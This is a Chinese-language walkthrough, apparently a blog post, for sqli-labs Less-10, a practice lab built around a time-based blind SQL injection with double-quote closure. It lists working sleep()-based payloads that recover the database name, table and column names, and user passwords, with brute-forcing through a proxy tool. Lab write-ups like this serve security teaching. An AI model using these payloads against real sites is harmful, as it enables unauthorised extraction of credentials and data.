SQL注入:sqli-labs靶场less10 GET-Blind-Time based-double Quotes通关攻略

1.判断是什么闭合,并使用sleep()函数判断是否执行了
1" and sleep(5) --+

2.根据if() 函数和sleep()函数响应结果判断数据库字符数
1" and if(length(database())>8,sleep(3),1) --+		//没有延迟
1" and if(length(database())>7,sleep(3),1) --+		//有延迟 据结果显示为8位

3.利用工具抓包爆破找出数据库名
1" and if(substr(database(),1,1)="s",sleep(3),1) --+			//执行该语句时抓包发到intruder模块

数据库名称为security

4.利用工具抓包爆破得出数据库中各个表的名称
1" and if(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1)="e",sleep(3),1) --+

在访问该语句时抓包爆破流程与上述一直,将limit 0,1 中的0 改变即为不同的表,相同步骤可得出表名(只演示users表)

5.利用工具抓包爆破得出表中的字段
1" and if(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 0,1),1,1)="e",sleep(3),1) --+

以下演示为id字段查询,其他表同理将limit0,1中的0改为1或2或3即可。

6.利用工具抓包爆破得出users表中的username和password。
1" and if(substr((select username from users limit 0,1),1,1)="a",sleep(3),1) --+
1" and if(substr((select password from users limit 0,1),1,1)="a",sleep(3),1) --+

不同的username和password更改limit0,1中的0即可。方法相同

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值